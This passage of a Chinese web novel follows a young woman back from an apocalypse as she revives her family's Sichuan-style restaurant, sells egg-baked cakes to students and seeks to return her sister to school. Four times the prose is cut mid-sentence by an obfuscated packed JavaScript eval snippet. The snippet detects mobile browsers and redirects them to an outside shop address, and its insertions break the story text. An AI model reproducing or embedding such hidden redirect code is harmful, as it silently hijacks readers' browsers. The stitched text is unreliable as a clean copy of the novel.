同桌小声报喜:“老班被抓去开会了,让我们先自习。” 对每天学习到晚上十点的高中生来说,这简直是天大的好消息! 然而,孔喆的喜悦却只持续了短短的三秒。 因为他很快就发现——“我让你们喝咖啡,谁让你们喝我的白玉油柑了啊呜呜呜!!!” - 孔喆离开后,方媛媛才不紧不慢地放下筷子。 她还是高估了自己的食量,已经很努力进食了,却还是剩了半份番茄肉丸汤。 云漪在厨房里替她打包好,拎着两个袋子走了出来。 方媛媛困惑:“怎么有两份打包?” “我不是说了要送你一份菜么。”云漪把另一个餐盒放在她面前,“妈妈跟我说了你的事情,以后云记忙起来了少不了要麻烦你。” 方媛媛好奇地打开餐盒。 柔软的糯米团上洒了一层黄豆粉,像披了一件松软的金色绒毛。切面是漂亮的螺旋,原滋原味的红豆沙细腻又湿润,和Q弹的米皮一红一白、一软一糯,每一块看上去都饱满弹牙,整整齐齐地排在餐盒里,像一个个蜷缩的小婴儿,可爱极了。 “这是……驴打滚?” 云漪点点头:“听说你是北省的,跑这么远上学应该很想念家乡的美食吧,所以我就随便做了一点。可能不是很正宗,你别介意。” 方媛媛一点都不会介意。 上一次吃驴打滚,已经是六年前了。 她的爷爷不太会做饭,又担心外面都是添加剂,所以总是用一碗干干净净的炝锅面当她的晚饭,却又在她哭闹之后无奈地泡上一碗红烧牛肉方便面。 除此之外,爷爷唯一会买的东西,就是驴打滚。 爷爷觉得驴打滚里只有糯米、红豆和黄豆粉,健康又卫生,所以每一次放学都喜欢带她绕一趟菜市场,买上几块驴打滚,安抚不爱吃饭的方媛媛。 自从六年前爷爷走后,她放假回到家中,桌上就再也没有那一份香香甜甜的驴打滚了。 时隔这么多年,她竟然在千里之外的德市又吃到了这一份驴打滚。 云漪见她不说话,歪头补充:“我做得比较软,你慢点吃,别噎着。” 方媛媛的鼻头莫名的酸涩,这句话,爷爷也总是说。 她吸吸鼻子,把餐盒收好。 有番茄肉丸汤又有驴打滚,今天的夜晚一定会格外温暖。 5. 蛋烘糕 方媛媛没忍住给了云漪一个大大的拥抱,眼眶还带着点殷红。 云漪:“……?” 她一头雾水,北方人有这么爱吃驴打滚吗? “对了云漪,”方媛媛突然提起,“我有朋友在大众点评工作,她说像你这种情况,可以调整一下店名,比如改成云记家常菜、云记饭店,这样可以让系统部分重置权重,更容易把分拉上来。” 这的确是最简单的方法。 这类APP的评价都有权重,比如新评价会重于旧评价。可是,如果想单纯靠好评翻身,不仅需要极大的量,还需要一段漫长的等待。 “谢谢你,不过我还是想慢慢来。” “为什么啊?现在大家去哪儿都要上美团大众看一眼评价,云记这个2.3分太赶客了,我都替你不值!” 云漪咬着下唇,暗暗给自己打气。 虽然改一个店名一劳永逸,可云记小饭馆是云家一点一点做起来的招牌,承载了三代人的心血。云秀珠哪怕那样忌惮前夫,也要孤身前去夺回云记的所有权,云漪也绝对不可能轻而易举放弃这个招牌。 简单解释了一下来由,方媛媛听得气儿不打一处来:“靠,原来那个不干人事的前老板是你亲爹?!得亏离婚了,他那样只能拖你和云阿姨的后腿!” “嗯,所以招牌这个问题上,我一定不会让步。” “云漪你是对的!他想搞垮云记,你就偏不让他如意!”方媛媛眉头拧成了麻花,双拳紧握,好像下一秒就要冲上去给罗富打得鼻青脸肿一样。 云漪咧嘴笑了出来,难怪方媛媛愿意来这偏僻的长平社区,拿一丁点微薄的补贴干志愿者,她的性格天生就该去当女侠匡扶正义。 送走方媛媛,云漪收拾干净大堂,手写了一个“下午暂停营业”的牌子挂上。 她扫了一辆共享小电驴,前往附近最大的二手市场。 远远的,云漪就看见光头老板正在擦拭一辆锃亮的保温餐车。 她开门见山:“李老板么,我是昨天联系您的云漪,我来看看货。” 李进听见这么年轻的嗓音,又看见这么青涩的面庞,愣了一下——这年头,学生都开始摆摊创业了? 李进把她昨天要的货都搬了出来,挨个验收。 保温桶、保温餐车、猛火卡式炉……货虽然是二手的,但都很新,李进维修保养得也不错。云漪很是爽快,当即用她大学兼职攒下来的钱付了款。 李进想,年轻人就是冲动。 他手里这些东西也都是从摆摊创业的年轻人手里收来的,才用了不到一个月呢。 现在的年轻人太浮躁了,看见抖音上摆摊卖小吃赚得盆满钵满就以为自己也行了,到头来,赔得裤衩子都没了。 李进把货装上面包车,送到云漪提供的地址。 他这才发现,眼前的年轻人何止是冲动摆摊啊——她这是直接盘了一家店下来啊! “云记小饭馆……”李进在心底记住了这家店的名字。 他盘算着,这家店里的餐饮设备不少,他可得盯着一点,过段时间这年轻女孩的店倒闭的时候能及时捡漏。 做二手回收这一行的么,眼光精准毒辣是基本功。 云漪没有跟着李进一同回云记。 她又骑着共享小电驴来到了附近的农贸市场,买了两个崭新的长柄小铜锅,还精挑细选了一家杂粮店,背走了一袋精细的小麦面粉。 老板见她这套搭配眼熟,笑着搭话:“妹儿,烤蛋烘糕哇?” 云漪点头,也自来熟地聊起来:“我绕了一大圈,就您这个面粉最巴适了,闻着就香,像我小时候吃的味道。我先买点回去试试,要是做起来了,以后就在您这儿进货了,嬢嬢可要给我优惠点哦。” “哎呦,妹儿嘴好甜,要得要得。”老板被她哄成了胚胎。 在末世挣扎了十年,云漪早就不是以前那个大气不敢喘的腼腆社恐了。 人在江湖,区区社交,不过尔尔嘛。 下午五点半,清点了一下今天的采购项目,云漪把面粉捆在小电驴后座,慢悠悠骑回云记。 老板说得没错,她今天下午的采购,都是为了一道德市经典小吃——蛋烘糕。 昨天方媛媛指出量大后,云漪就一直在头脑风暴。 罗富接手以前的云记生意火爆,一到饭店就有一群又一群食客来围桌共赏,云记一直以来面向的受众也是这些人闲钱多的中老年人。 可是现在,云记的口碑一落千丈,上了年纪的客人印象一旦形成就很难改变,想让她们回头不是一件容易事。 所以,吸引年轻的新客是更事半功倍的方式。 可是新客又不是夏天的暴雨,随时随地都会突然从天而降,她得主动出击。 长平社区虽然位处三环外,却是一个相当完善的社区。有幼儿园,有外国语附中,有三甲医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958369|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院,有高新办公园区,也有满是民宿度假村的花乡公园,甚至老早就有传言说未来德市的发展重心会往北三环偏,因此这里的学生党和工作党占比相当高。 这类年轻人大多不爱成群结队下馆子,更倾向于一人食,像云记这样量大管饱的老饭馆她们几乎连看都不会看,不如去快餐店点一份套餐,三荤一素一汤,虽然味道一般,但营养还算均衡。 云漪不是没想过做套餐,可一旦开了套餐这个口再转型就很难了,她不想让妈妈苦心经营的云记变成快餐店。 所以,她想出了增设“蛋烘糕”的法子。 传统的蛋烘糕有甜有咸,甜的以奶油、果酱、白糖为主,咸的以肉松、豇豆、芽菜为主,馅料本就丰富,后来更是衍生出了榴莲、奥利奥、香辣牛肉沫等各种夹心。 而她要夹在其中的,是菜。 本质上和馅饼没什么区别,但更新奇,口感也更轻柔丰富,再加上德市人的DNA里刻着一种“见到蛋烘糕就要停下来看看”的基因,这样做要比卖馅饼更吃香。 一道菜的量约莫能做十个蛋烘糕,正常食量吃四个就差不多了,能控制在二十元左右,还能尝到不同的菜品,也算是套餐的另一种形式。 云漪对蛋烘糕的口味十分自信,却对这样做的收益没什么底。 希望明天开张之后,能卖最少二十个出去吧…… - 重新回到长平路的时候,附近的学校都下课了,到处都是穿着外国语附中校服的学生。 云漪叹息,要是云记里也坐满了这些校服多好。 就在云漪的小电驴行至路口时,她隐约看见……云记小饭馆的门口真的出现了三件显眼的校服。 ……客人真的从天而降了? 三个寸头男生叠罗汉似的趴在玻璃门上,双手遮挡着反光,摇头晃脑地往店里瞅。 “老孔,你是不是骗人呢,这店里连个人都没有。” “人家牌子上不是写了下午不在嘛,等会儿就回来了!” “咱真的要为了一杯饮料进去吃吗……” 孔喆啧了一声,指着朋友的鼻尖:“好小子,你下午喝光我的白玉油柑时可不是这样说的!” “好吧好吧……但是说好了啊,好吃我才请客,就当赔偿你的饮料。但要是不好吃就AA,我可不当冤大头。” “那你不用担心,”孔喆翘起鼻子,“这顿饭,你请定了!” 6. 巴骨肉 云漪对这个单眼皮小眼睛的学生有印象。 停好小电驴,她抱着面粉开锁,顺便打招呼:“来啦?” 三个男生下意识搭了把手,帮云漪扛起面粉。 云漪露出欣慰的眼神,现在的学生素质真是高。 孔喆挑了张四人桌坐下,一边让同学看菜单:“我先决定一个蒜苗回锅肉和酸辣手撕鸡,今天中午就馋了,你俩再一人点一道。” 两个男生压低声音问:“老孔,那个就是老板啊?” “是啊,别看她年轻,做菜可好吃了。” 二人面面相觑,摆明了一副“我就静静地听你胡扯”的模样,随便点了一份巴骨肉和一份青菜钵钵,反正也没报什么希望。 毕竟,他们的目的是店里的白玉油柑。 点好菜之后,三人端起茶杯,一人接了一满杯的白玉油柑。 “真好喝啊,要是能单卖就好了。” “你这话说的,人家不得靠这个揽客吗?” “那我觉得这店的味道肯定一般,真正好吃的店哪需要靠饮料吸引客人?本末倒置么这不是?” “就是,虽然很好喝,为了喝杯饮料花百八十的太不值得了。” “不就是油柑汁么,我回去让我妈也榨点,明天给你们带。” 孔喆撩了一把寸头,无奈地摇摇头。 说不通,跟这些没尝过云记的愣头青说不通~ 最先端上桌的是酸辣手撕鸡和蒜苗回锅肉,两道菜的香气腾腾升起,堵住了两个男生浑身上下最硬的嘴。 也不知怎的,明明也不是孔喆的手艺,他却只想骄傲地叉腰。 “你看,我说什么来着?” “……” 三人掰开筷子,他们都是第一次吃手撕鸡,但托白玉油柑的福,还是立马尝出了油柑特别的味道。 “……这老板好牛,怎么想出来的?” “我妈以前还说油柑烂地上都没人吃……” 三人一边嘟囔一边饕餮进食,菜都还没上齐,已经就着一碗白米饭把两道菜炫了个一干二净,然后眼巴巴地望着灶火轰鸣的厨房。 云漪一推开门,被三双灼热的目光盯得发笑。 “你们运气真好,今天我就只炖了这么多骨头,正好够做一份巴骨肉。”云漪捧着一个比脸盆还大的盘子,温馨提示,“旁边有洗手池,用手拿着啃也没事。” 孔喆摆摆手:“没事,我们又不是东南亚来的。” 云漪只是笑而不语。 巴骨肉的盘子十分有特色,是铁锹头模样的,像极了在野外打猎后就地生火烤出来的美味,很有一股洒脱自在的味道。 红亮的汤油轻轻晃动,虎皮状的青椒段和红椒片点缀着,藏起了软糯入味的土豆条和脆爽咸香的藕条。 而主角巴骨肉,是德市方言里指“紧贴着骨头的嫩肉”。 孔喆夹起一块,轻轻嗦了一口。 牙齿咬住骨头边缘,轻轻一带,吸满了味汁的筋膜顺着牙齿撕下,带着热辣的酱香在舌尖炸开。瘦肉部分被炖得酥烂,轻轻一抿就能脱骨。每一块巴骨肉上都带着粘糯弹韧的筋腱和香脆厚实的软骨,一口下去,像从柔软的云朵落入坚实的土地,同时满足了三种口感。 刚出锅的滚烫红油带着花椒的麻、辣椒的香、骨肉的鲜,越嚼越香,浓香醇厚,舍不得松口。 孔喆用筷子抵着骨头,怎么也啃不到凹陷处的筋。他索性把筷子一放,两手抱着啃,嘬得干干净净。 ……等等,他刚才是不是说自己“又不是东南亚来的”来着? 又在云记小饭馆被打了一次脸,好痛。 先是脱骨的“嘶嘶”声,再是脆骨的“咔哒”声,然后是孔喆忍不住轻嘬骨缝余味的“啵啧”声,整个云记小饭馆里回荡着视觉、味觉和听觉的三重奏,两个同伴止不住地咽口水。 眼看着孔喆已经伸手去抓下一个,二人才终于反应过来,饿狼扑食般疯抢。 云漪的香辣味调得恰到好处,香气在嘴唇微微的发麻间延续,让人只想一根接一根沉浸在嗦骨头的快乐里。 刚嗦完巴骨肉,青菜钵钵也端了上来。 清爽的青菜和微甜的小米先在舌尖铺开,随后是汤底慢慢溢出的鲜味,像给味蕾放了一个假,清淡解腻,却不寡淡。翠绿的青菜被简单焯熟,还保留着脆嫩,一口咬下去,还能感受到菜杆里的水分迸开。 这一桌子凉菜热食、淡口香辣,吃得三人连闲话都忘了聊。 怎么会有这么好吃的家常菜,可比什么披萨汉堡香多了! 直到盘子都见了底,才响起意犹未尽的声音: “你吃了那么多块骨头,还跟我抢土豆条?!” “青菜钵钵被你喝了一半,让给我一根藕怎么了?!” …… 孔喆拍着圆滚滚的肚皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958370|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,打了个饱嗝,轻哼一声:“吃完没?吃完了就付钱吧。” 承诺“好吃就请客”的男生不嘴硬了,老老实实付了钱。 本以为这种饭馆会吃到二百来块,没想到三个人四道菜平均下来一人才48元,在同档位的饭馆里已经是相当实惠的价格了。 三人一起瘫在椅子上拍肚皮,对云漪的称呼逐渐恭敬亲昵起来:“老板姐姐,我刚刚看见你店外面摆了一个餐车,是要卖什么啊?” “蛋烘糕。” “蛋烘糕?!”男生激动大叫,“我小时候可爱吃了,但是现在都没怎么看见卖的了。就算有也是那种牌子店,一个卖十几块,又贵又难吃。” 眼看着生意上门,云漪托腮,笑眯眯地说:“我明天就开卖,你来尝尝看味道正不正宗。” “那还用说,老板姐姐的厨艺我无脑拥护!” “老板姐姐,都有什么馅儿啊,我可不想吃那些奇葩的榴莲芝士椰子脆。” “有传统的馅儿,也有不传统的,”云漪卖了个关子,“你明天来看看就知道了。” “行!明天早上我不吃油条了,饿着肚子来!” 云漪在脑海里算了算账,眼珠子咕噜噜转了一圈:“看在你们这么捧场的份上,我给你们一个独家福利——每带一个新客来买蛋烘糕,我就给你们的蛋烘糕打一折。” 一人一折,也就是说,只要带十个人来……就能免费畅吃蛋烘糕了?! 这天大的好事哪里找! 三人暗自交换了一个警惕的眼神,都在心里悄悄计算起了班上的人头数,盘算着要对哪些人先下手为强。 云漪从他们的谈话中知道班上同学都喜欢喝白玉油柑,又用饮料杯装了三杯,封好口递给他们。 “谢谢老板姐姐!” “我要带回去让我妈也尝尝!” “不用客气,正好我有事想问问你们呢。”云漪拉开旁边的椅子坐下,“外国语附中的分数线要求是不是很高?” “我们是高二生,考进来的线是620分,当年是德市第二高的。”孔喆回答完,忽然灵光一现,满眼惊恐,“老板姐姐你不会还是个初中生吧?!” 云漪:“……” 云漪:“你要不要听听看自己在说些什么?” 她低垂着眉眼,微微惆怅:“我妹妹因为一些事情辍学了……外国语附中离家近,我想让她下学期接着读。” 7. 云记蛋烘糕(一) 云葵一直是个很懂事的孩子。 两年前的除夕,云漪赶着最末一趟火车回到家,看见桌上竟然有一盘红润油亮的香肠。 明明那时是家里最困难的时候,云秀珠为了夺回云记花了不少积蓄,云漪打工也只够填补自己的学费和生活费。 云葵操着不熟练的刀工,切成了厚薄不一的片:“妈妈姥姥姐姐,来尝尝我买的香肠!” 云葵一个初中生,平时也没有零花,哪里来的钱? 云漪推开她们的房间,才发现柜子里满满当当的书籍全都一扫而空了。 云葵鼓着腮帮子,理直气壮:“我全卖了,怎么啦!没笔记的卖给收废品的,有笔记的卖给学妹学弟了!就准你们三个在外面辛苦,不许我赚钱吗!我还告诉你们,我不读书了,我也要出去打工!” 对那时还没有经历末世的云漪而言,云葵远比自己勇敢坚决。 虽然妹妹从来没有埋怨过,但云漪心里总是有所亏欠,她只是因为早出生了几年,明明妹妹才更聪明勤奋更适合读书。 这次回来,云漪从第一天起就想好了。 她一定要送云葵回到校园。 她知道将要面对的是怎样的艰难险阻,但她不怕,家人给予她的光亮能照亮末世的极夜,又怎么会被这一点晦暗厚重的云翳遮挡。 三个男生听完,你看看我我看看你,一巴掌拍上孔喆的后背:“老板姐姐,你这不就问对人了么!” “怎么,他也是复学来的?” “那倒不是,但是这小子的妈是我们年级的教导主任,肯定了解这些事!” 孔喆搓了搓鬓发,有些难为情。 他一家都从事教育事业,母亲更是抬头不见低头见的教导主任,去职工食堂吃顿饭就能掌握他的每日动向,哪科成绩稍微退步了几分都要进行魔鬼训练。也就是前几日忙于高考没空顾他,不然他妈妈要是知道这小子在家打了三天游戏,指定要让他和游戏机一起粉碎。 所以,孔喆是宁死都不愿意被叫家长的。 他本来不太想因为这种事叨扰老妈的,毕竟他一提,老妈肯定又要跟他清算每天在外面胡吃海喝的事情了。 可是……老板姐姐人这么好,竟然还会遇到妹妹辍学和被前老板坑这种惨事,孔喆听着也觉得心里不得劲。 孔喆深吸一口气,下定决心:“我妈前几天出差开会了,等她回来我帮你问问。” 云漪双手合十,眼睛笑成两弯月牙:“真的吗?谢谢你!” 孔喆见了两面云漪,她虽然样貌年轻,可说话做事总是比她看起来要成熟稳重得多,也就只有这个瞬间,孔喆才觉得这个厨艺了得的老板不过是个有情绪有脾气的大姐姐。 孔喆怪不好意思地挠挠头,抓着朋友和云漪告别。 收拾好饭馆,又清点了一番明天要用的食材,云漪八点钟就打烊了——她现在还没有指定的供货商,明天早上必须得早早起床采购新鲜蔬菜和肉。 爬上三楼,云漪抽出上了年岁的钥匙,拧开门洞。 “一一,回来啦?”云秀珠从卫生间探出头,手臂上沾着大片泡沫,“桌上有洗好的苹果,你吃点。” 云漪眉梢一跳,一把甩下云秀珠手里的衣服,多少有些无奈:“妈,洗衣机买来就是给人用的,你老是手洗,累坏了怎么办?” 云秀珠嘴上说着“哪有这么娇气”,还是听话地放下了搓衣板。 她像个被发现做错事的小孩一样,怂里怂气:“你们这几件夏天的衣服薄,我怕洗衣机搅破了嘛。” 云漪大手一挥:“那就再买。” “你啊……”云秀珠捏着云漪的脸,留下两道水痕,“才当了一天云记小老板,就开始财大气粗了?今天也没能开张吧?” 云漪撇撇嘴,从兜里取出账本递给她。 “……算上昨晚的,你第一天正式营业就赚了三百多?”云秀珠盯着账目,睁大了眼睛。 云记小饭馆门可罗雀的那段日子,日均收入能有三百块已经是谢天谢地了,云漪竟然第一天就轻而易举达到了?! “反正说好了,三天之后我能扛起云记小饭馆,你就好好休养生息,把云记交给我管。” 说着,云漪打开从云记带回来的打包袋。 两杯白玉油柑,三盒还冒着热气的清炒小菜,两个拳头大小的杂粮饭团。 “这是店里的新品,我减了糖量,你和姥姥都可以喝;这三道菜和饭团你们明天早上热来吃,我要早起去买菜,没办法给你们做早餐。” 云秀珠眼底微微颤动。 明明云漪也才二十出头,大好的青春等着她享受,却要早早扛起这种重担。 但她还是保持调笑的语气:“我们乖乖怎么当个老板当老了十岁,现在把我和姥姥当成小孩子养了。” “这才哪到哪呀,”云漪挽住妈妈的手,靠在她肩头,“以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一直忙到十点半,云漪终于结束了最艰难的备菜环节,摆开一排云秀珠精选的调味料,码起味来——除了酸辣手撕鸡,凉菜还准备了夫妻肺片、红油耳片、冷吃牛肉和凉拌三丝。 凉菜都装入保温箱,云漪又起锅烧油准备热菜——蒜苗回锅肉、小炒黄牛肉、粉蒸牛肉、宫保鸡丁和鲜椒仔姜兔。 所有菜品准备齐全,云漪在餐车上挂了一张手写的招牌和价目表,推车而出。 8. 云记蛋烘糕(二) 午休的铃声还没有打响,外国语附中的门口就已经停满了摆摊的小车。 手抓饼、关东煮、鲜肉烧饼、凉面凉皮、狼牙土豆,还有各种清凉解暑的冰粉、水果捞、手摇刨冰…… 云漪知道这些摊位的规矩,所以并没有去校门口和这些“老前辈”挤,而是老老实实停在了长平东路的街口,距离云记近,学生走两步也能看见。 虽然和孔喆三人约好了,可云漪也没有天真到把全部希望寄托在他们身上。 退一步来说,她们只是单纯的买卖关系。来了,云漪感激;可不来,也是他们的自由,云漪也不会去埋怨。 所以,云漪还是选择推着餐车主动吆喝。 十二点刚过,穿着校服的学生就鱼贯而出一拥而上,把各路小摊围得水泄不通。 难怪学校门口的摊位是兵家必争之地,这一个月比云记赚得多多了。 云漪取出搪瓷盆,不慌不忙地点燃猛火卡式炉,用浸了一层薄油的抹布在小铜锅里轻轻抹上一层,添上一勺面糊,架在火上炙烤。 一瞬间,麦香和蛋香就窜了上来。 饼皮,是蛋烘糕最重要的一环。 火大了,外层焦黑内层却还是湿嗒嗒的;火小了,则饼皮口感寡淡,了无趣味。烤得久了,又老又干味同嚼蜡;烤得轻了,馅料还没入口,饼皮倒先化了。 恰好,云漪对火候的掌控恰如其分。 盖上锅盖,平底铜锅在文火上匀速旋转,时而离火,时而猛炙。冰凉的面糊在热火烘烤中渐渐苏醒,滋滋地冒起绵密的气泡,破裂时炸出香气,留下漂亮的蜂窝孔。 待到色泽金黄,云漪取下盖子,拿起一个长柄镊子,掀起滚烫的边缘一角,轻轻转了个圈,饼皮便轻而易举脱离铜锅。 掀开保温盒,云漪夹了一勺酸辣手撕鸡放在饼皮上,反手一折,外层的焦糖色均匀又漂亮,裹住香喷喷的凉菜。 云漪用油纸包住,咬下一口——不错,这个搭配果然合适。 以前在末世的时候,云漪就时常烤蛋烘糕来夹一切。末世食材有限,能搭配出的组合也有限,现实世界就不一样了。 几步开外,云漪没有发现,短短一会儿试菜的功夫,已经有好几双好奇的眼光落在她手上了。 蛋烘糕的味道几乎是每个德市小孩的童年,本来就吸引人,再加上手撕鸡的飘香,餐车边上立刻围了几个小脑袋。 “老板,多少钱一个啊?” “喏,下面有价目表,明码标价。” 问价的学生一低头,荤菜几乎是八块钱一个,牛肉和兔肉贵两块钱,素菜及传统馅料则是三块钱一个。 三块钱的蛋烘糕,如今在物价飙升的德市已经相当少见了。 学生捏着钱包,一脸纠结。 一说到蛋烘糕,那肯定是要吃传统馅料了,更何况才三块钱一个。 可是……那几道凉菜热菜,看起来真的好美味啊…… 不等他犹豫完,旁边已经有人率先点单:“老板,我要一个冷吃牛肉,一个酸辣手撕鸡!二维码扫过了!” 支付宝响起到账的金币叮当声,云漪索性一次性点燃四个卡式炉,不慌不忙地摊饼皮、看火候、夹馅料。 周围的人头越聚越多,第一个下单的学生在万众瞩目中接过冷吃牛肉蛋烘糕。 牛肉多得都快要包不下了,他稍稍吹了两下,大口吞下—— “咔嚓”一声,边缘的焦糖色脆如薄冰,内里的金黄软如蛋糕,饼皮在齿间翻滚的时候,又带着恰到好处的韧劲。 很快,冷吃牛肉的冰凉就中和了饼皮的温热,小拇指粗细的牛肉条带着弹牙的筋,红油入味,香而不辣。饼皮有一丝微微的、含蓄的甜,是来自红糖的醇香,刚刚好提升了牛肉的鲜和风味。 云漪将红油沥得很干,只有一层浓郁的汁挂在牛肉条上,饼皮丝毫不会因为汤汁的浸入而变得软塌塌。 首位顾客站在原地,一口接一口,沉默着吃完了两个蛋烘糕。 “怎么样,好不好吃?” “愣着干嘛,说词儿呀!” 学生连嘴角的红油都不肯放过,舔得一干二净后,才仿若灵魂出窍般吐了几个字:“好、好好吃啊……” 众人坚信,每天焦头烂额的高中生是不会有功夫在吃上面骗人的。 他这话一出,原本围观的学生一拥而上,自发排成了一队,眼巴巴地等着,钱包到账的电子播报音也响个不停。 ——当孔喆带着四个外班的朋友悠哉悠哉走到长平东路时,看见的就是这幅热火朝天的景象。 天塌了! 他的宝藏小店怎么一夜之间变成共有财产了! 渐渐的,聚集而来的不止有找饭吃的、看热闹的、单纯围观被馋得走不动道的,还有吃完一轮被味道狠狠折服,又绕回队末重新再来一轮想尝尝其他口味的。 队伍越来越长,为了不影响交通,学生们灵巧地拐成了蛇形。 云漪一抬头,正巧和第二排的孔喆对上眼:“来啦?” 云漪每次熟络地打招呼,都让孔喆有种去邻居姐姐家吃饭的温馨感。 他也高兴地招手,还不忘指着身后的朋友:“我带了四个人来呢!他俩也各带了好几个,都在后面排着呢!” “老孔?你认识这老板啊?”队列里有同班同学认出了他,隔空指指点点,“你小子,有好吃的不告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958372|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉我们,还是不是相亲相爱的七班人了!” “我也是昨天才知道这家店的啊!”孔喆也大声回应,“那杯特别好喝的白玉油柑就是她家的!” “白玉油柑又是个啥,听着就香。” “老板,你怎么没卖那个什么油柑?” 云漪忙得手脚不停,孔喆干脆主动担任起了她的发言官:“老板说了,白玉油柑不单卖,但是去她店里吃饭可以免费畅饮!” “还有店?!” “对啊,就在这条街往里走,云记小饭馆,贼拉好吃!” 孔喆指着保温餐车里的各种馅料:“这些都是老板店里有的菜,我吃过酸辣手撕鸡和蒜苗回锅肉,真绝了!量大管饱还好吃!” 刚烤完三个蛋烘糕,云漪得空补充了一句:“蛋烘糕里夹的毕竟是提前备好的菜,口感和味道都打了折扣,现炒出来的会更佳一点。” 已经尝过一轮的学生:“……” 什么?!这个味道竟然已经算是打了折扣的?!那新鲜出炉的得多好吃啊?! 后排的学生有站不住的,迫不及待地问:“那我现在直接去店里吃能行吗?” 云漪歉意地瘪起嘴:“不好意思,这家店现在只有我一个人,暂时忙不过来。” 队伍里冒出止不住的失落。 “不过,今天中午卖完我会把餐车挪回云记小饭馆门口。”云漪笑眯眯的,“想吃蛋烘糕可以来,想吃现做的正餐也可以来,欢迎大家。” 云漪稍微估计了一下剩余量,提前数了十几个人头,温馨提醒:“我没想到蛋烘糕这么受欢迎,准备的量不够,后面的小朋友吃不到了喔。” “呜呜呜怎么这样呀!” “前面的能不能少买点,给我留一个尝尝味就行,求求了!” “就是就是,前面的都说吃四个荤的铁定能吃饱,你们就少买点嘛!” 尽管云漪这么说了,队伍的长度还是没能减短。直到最后一滴面糊也用光了,没买到的学生才鬼哭狼嚎地认命散场。 云漪把周边的垃圾扫了扫,收拾好餐车,推回云记小饭馆。 第一时间把保温餐盒清洗干净并丢进消毒柜里,云漪终于坐了下来,一狠心开了最大档的风扇,对着自己呼啦呼地吹。 她点开今天的收款记录,开始算账。 云漪今天忙得连喘口气的功夫都没有,做完你的做你的,做完她的做她的,像个没有感情的蛋烘糕机器人,对卖了多少个都没有概念。 原本,云漪的祈祷是今天至少能卖出去二十个。 她一翻收款记录,没想到竟然一共卖了197个! 总计收入……1379元!!! 9. 夫妻肺片 云漪对着账单看了又看。 第五次确认是1379元无误,云漪深吸一口气,终于放下了紧绷的肩膀。 在云秀珠面前,她可以不流露出任何负面情绪,胸有成竹胜券在握。 但那只是不想让妈妈担心。 云漪不是战无不胜攻无不克的战神。 她初入末世也每晚躲在被窝里掉小珍珠,第一次被丧尸突脸也整夜整夜不敢闭眼,辛辛苦苦种出来的土豆被坏心邻居偷走也窝窝囊囊不敢吱声。 拍着胸脯接下云记小饭馆的时候,她的心里也在打鼓。 云漪对自己的厨艺有百分之二百的信心,可她从来没有过任何经营经验。 没有顾客愿意尝试怎么办? 顾客嫌弃贵了少了不够档次了怎么办? 忙活一场到头来没能减轻妈妈的负担,反而更糟糕了怎么办? 云漪想了很多,但她还是揽下了这个担子——相比起她们一家四口各打各的工,让云记小饭馆东山再起是最快的一条路了。 她不想再让年迈的姥姥天不亮就骑着三轮车踏上颠簸的山路,不想让病重的妈妈拖着随时可能晕厥的身子忙里忙外,也不想让本该在高中享受大好年华的妹妹寄人篱下卑躬屈膝。 当然,云漪也有私心。 她不想再像末世十年一样,身边空无一人。 一直忙得晕头转向,提笔在账本写下1379这四个数字时,云漪才终于有了开张的实感。 短短三个小时不到,云漪就已经把蛋烘糕餐车的成本赚了回来。 多亏了孔喆的宣传,今天晚上的生意或许也不会太差。 云漪捏着账本,劣质纸页的刺鼻气味萦绕在鼻尖,她却不觉得难闻,咧着嘴角一个劲儿地笑。 难怪都说金钱是第一驱动力,原本忙了一中午右手臂有点酸痛,这下她突然感觉跟做了一场理疗似的,浑身轻松力大如牛,仿佛吃了菠菜罐头。 云漪算了算今早的备菜,剩下的量甚至不够做三桌菜,袖子一撸又加大马力忙活起来了。 葱姜蒜得再切一盘,面糊得再调一盆,还有各种肉类也要再腌制几份,学生们似乎格外喜欢她做的荤菜。 前两天的时候,云漪还觉得云记的菜单十年如一日不是一件好事,需要频繁创新。 可现在,她恨不得再把菜单精简个四分之一,这样备菜就更加方便了。 唉,都是前人的智慧。 云漪看了一眼后厨的四个猛火灶台,又看了看门外的蛋烘糕餐车,深深遗憾为什么她只有两只手。 等云记正式起步了,她还是得雇佣几个人手来帮帮自己才是。 - 下午五点,德市第二人民医院。 